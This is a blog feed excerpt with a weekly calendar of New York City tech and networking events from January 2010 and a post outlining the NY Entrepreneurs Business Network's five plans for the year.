		<dc:creator>Andrew Ran Wong</dc:creator>
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		<description><![CDATA[  So what&#8217;s the buzz in NYC tech community these days?  To keep you informed about NYC&#8217;s tech events, we decide to put together a weekly event calendar.  This calendar is updated every week and meant to list NYC tech events that are noteworthy.  If you&#8217;d like to get your events featured on our [...]


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<h2><strong>Tuesday, January 26th</strong></h2>
<p><span style="color: #ff6600;"><strong>Media Leaders NYC</strong></span></p>
<p><em>Bring your business cards to take part in a cutting edge junction of leaders in PR, media, marketing, advertising and tech while discussing current events and new ideas. We are a group of influencers that come together to exchange and thrive on meeting new people and making lasting connections. </em></p>
<p><strong>RSVP</strong>: <a href="http://www.eventbrite.com/event/523406523" target="_blank">http://www.eventbrite.com/event/523406523</a></p>
<p><span style="color: #ff6600;"><strong>Digital Book World</strong></span></p>
<p><em>&#8220;Our goal is to have the most digitally knowledgeable and globally connected publishing staff in the industry. Digital Book World offers a good overview of the ‘state of play’ for digital reading to start off 2010&#8230;&#8221;</em></p>
<p><strong>RSVP</strong>: <a href="http://digitalbookworld.com/GeneralMenu/" target="_blank">http://digitalbookworld.com/GeneralMenu/</a></p>
<p><span style="line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; font-size: small;"><span style="color: #ff6600;"><strong>The Software &amp; Information Industry Association’s 2010 Information Industry Summit</strong></span></span></p>
<p><span style="line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; font-size: small;"><em>The Software &amp; Information Industry Association (SIIA) will hold the digital information industry&#8217;s flagship conference January 26-27 in New York City.  “Googled” author Ken Auletta will join other high-profile speakers to address the future of the information industry&#8230;</em></span></p>
<p><span style="line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; font-size: small;"><strong>RSVP</strong>: <a href="http://www.siia.net/iis/2010/default.asp" target="_blank">http://www.siia.net/iis/2010/default.asp</a></span></p>
<h2>Thursday, January 28th</h2>
<p><span style="color: #ff6600;"><strong>TechAviv NY January Meetup</strong></span></p>
<p><em>Presentations by three Israeli startups: </em><a href="http://www.worklight.com/" target="_blank"><em>WorkLight</em></a><em>, </em><a href="http://www.talkahead.com/" target="_blank"><em>TalkAhead</em></a><em>, and </em><a href="http://www.mystudiyo.com/" target="_blank"><em>MyStudiyo</em></a></p>
<p><strong>RSVP</strong>: <a href="http://www.meetup.com/TechAvivNY/calendar/12134420/" target="_blank">http://www.meetup.com/TechAvivNY/calendar/12134420/</a></p>
<h2><strong>Friday, January 29th</strong></h2>
<p><span style="color: #ff6600;"><strong>Startup Event: Grande Finale of the BizSpark Camp @ NYC</strong></span></p>
<p><em>Ever wondered how tech startups raised millions of dollars? Want to be the judge yourself? We cordially invite you to join the</em><strong><em>Grande Finale</em></strong><em> of </em><a href="http://blogs.msdn.com/sanjayjain/archive/2009/12/05/azure-bizspark-camp-new-york-chance-to-win-5000.aspx" target="_blank"><em>the BizSparkCamp</em></a><em>, a two-day event where startups can leverage expert help from </em><strong><em>Microsoft</em></strong><em>, </em><strong><em>VCs</em></strong><em>, and other third parties. This event is free of charge for everybody. The winner of this two day competition will receive a cash prize of $5,000 from Microsoft.</em></p>
<p><strong>RSVP</strong>: <a href="http://www.ny-entrepreneur-network.com/calendar/12323803/" target="_blank">http://www.ny-entrepreneur-network.com/calendar/12323803/</a></p>
<h2><span style="color: #ff0000;"><strong>Event of the week (Featured event): </strong></span></h2>
<p><span style="color: #000000;"><strong>What</strong>: NYC Entrepreneurs Rooftop Networking Reception</span></p>
<p><span style="color: #000000;"><strong>Host</strong>: NY Entrepreneurs Business Network</span></p>
<p><span style="color: #000000;"><strong>Time</strong>: 6 &#8211; 10 PM, Tuesday, Jan. 26th</span></p>
<p><span style="color: #000000;"><strong>Venue</strong>: Hudson Terrace Rooftop</span></p>
<p><span style="color: #000000;"><strong>RSVP</strong>: <a href="http://www.ny-entrepreneur-network.com/calendar/12133426/" target="_blank">http://www.ny-entrepreneur-network.com/calendar/12133426/</a></span></p>
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		<title>The 2010 Blueprint of NY Entrepreneurs Business Network</title>
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		<description><![CDATA[   If you have been following WebStudio13 for the last year, you probably already know that I organize a business networking group in NYC called NY Entrepreneurs Business Network (NYEBN).  Not only do we organize quality/free networking events for all NYEBN members, we also give seminars intended to educate entrepreneurs on how to [...]


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			<content:encoded><![CDATA[<p></p><p><a href="http://s88493.gridserver.com/wp-content/uploads/2010/01/NYEBN-TEAM.jpg"><img class="alignleft size-full wp-image-2251" title="NYEBN TEAM" src="http://s88493.gridserver.com/wp-content/uploads/2010/01/NYEBN-TEAM.jpg" alt="NY Entrepreneurs Business Network" width="212" height="220" /></a> <img alt='' src='http://www.gravatar.com/avatar/01e678ae902abbb94570742c6d547b68?s=30&amp;d=X&amp;r=G' class='post_avatar no-rate avatar-30 avatar-default' height='30' width='30' />  If you have been following <a href="http://webstudio13.com" target="_blank">WebStudio13</a> for the last year, you probably already know that I organize a business networking group in NYC called <a href="http://www.ny-entrepreneur-network.com/" target="_blank">NY Entrepreneurs Business Network (NYEBN)</a>.  Not only do we organize quality/free networking events for all <a href="http://www.ny-entrepreneur-network.com/members/" target="_blank">NYEBN members</a>, we also give seminars intended to educate entrepreneurs on how to leverage social media and other technology tools.  To my surprise, <a href="http://www.ny-entrepreneur-network.com/" target="_blank">the group</a> has been going through a major expansion in the past 8 months.  Now we have attracted over 3,200 entrepreneurs representative of <span id="more-2143"></span> a variety of industries.  In 2010, we&#8217;ve decided to implement an array of new programs to make <strong>NYEBN</strong> even a better place for all entrepreneurs and business owners.  <strong>Primarily, here are the 5 things we plan on implementing for our group in 2010:</strong></p>
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<h2><span style="color: #ff0000;">1.  Stick to 2 networking events per month</span></h2>
<p>Our networking events generally have a turnout between 300 and 600 people.  We do networking events biweekly at different high-end NYC venues.  The venues that we feature are typically made available for us exclusively from 6-10 PM on a weekday night.  Check out the<a href="http://www.ny-entrepreneur-network.com/calendar/12057919/" target="_blank"> last event at 230 Fifth rooftop</a> where we had the largest turnout (<span style="color: #0000ff;">about 622 confirmed RSVPs</span>) since the start of the group.</p>
<h2><span style="color: #ff0000;">2. Give More Seminars Related to Social Media and Technology</span></h2>
<p>Last year, we had featured all types of speakers from a variety of industries, including <em>personal development, sales, marketing</em>, etc. Given the importance of modern technology, we decide to do more seminars in the social media and technology fields.  Check out our <a href="http://www.ny-entrepreneur-network.com/calendar/12323803/" target="_blank">next startup event</a> at Microsoft where a dozen of tech startups will give their best pitch in front of a panel of VCs.  Also I will interview the <a href="http://meetup.com" target="_blank">Meetup</a> founder <strong>Scott Heiferman</strong> on the 3rd week of February.  <a href="http://www.ny-entrepreneur-network.com/calendar/12342367/" target="_blank">Check it out here</a>.</p>
<h2><span style="color: #ff0000;">3. Reward NYEBN Members for Bringing in New Members</span></h2>
<p>We&#8217;ve launched an <a href="http://www.ny-entrepreneur-network.com/messages/boards/thread/8310185" target="_blank">affiliate program</a> starting from <em>1/1/2010</em>.   By actively participating in the affiliate program, there are quite a few benefits NYEBN members are able to enjoy:</p>
<ul>
<li><span style="color: #808080;">Network with a bigger pool of business professionals and build relationships with them;</span></li>
<li><span style="color: #808080;">Gain more exposure in the local market for your own business;</span></li>
<li><span style="color: #808080;">More opportunities to learn in a diversified entrepreneurial environment;</span></li>
<li><span style="color: #808080;">More ability to attract highly qualified sponsors and partners to offer incentives for our group members and back up NYEBN so it continually provides free networking opportunities;</span></li>
<li><span style="color: #808080;">etc&#8230;</span></li>
</ul>
<h2><span style="color: #ff0000;">4. Develop More Opportunities for NYEBN Members to Stay Connected</span></h2>
<p>NYEBN now has developed several powerful alternative networks where its members can bond and stay connected.  Here are three examples:</p>
<ul>
<li><a href="http://www.ny-entrepreneur-network.com/" target="_blank">NYEBN on Meetup</a></li>
<li><a href="http://www.facebook.com/NYEBN" target="_blank">NYEBN on Facebook</a></li>
<li><a href="http://twitter.com/nyebn" target="_blank">NYEBN on Twitter</a></li>
</ul>
<p>More NYEBN networks will be formed in the future.  For now, if you wish to attend NYEBN&#8217;s free events, <a href="http://www.ny-entrepreneur-network.com/" target="_blank">this one</a> is a must to sign up for.</p>
<h2><span style="color: #ff0000;">5. Create More NYEBN Branded Products So Our Members Have A Sense of Belonging</span></h2>
<p>At NYEBN, we are always trying to create something beyond the average.  I am very proactive when it comes to creativity.  For our members, here are two NYEBN-branded products that I have created in the past.  More to come in the future.</p>
<p><strong>I. NYEBN Slideshow Video</strong></p>
<p><center><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="300" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=8510448&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed type="application/x-shockwave-flash" width="400" height="300" src="http://vimeo.com/moogaloop.swf?clip_id=8510448&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></center></p>
<p><strong>II. NYEBN Photostream on Flickr</strong></p>
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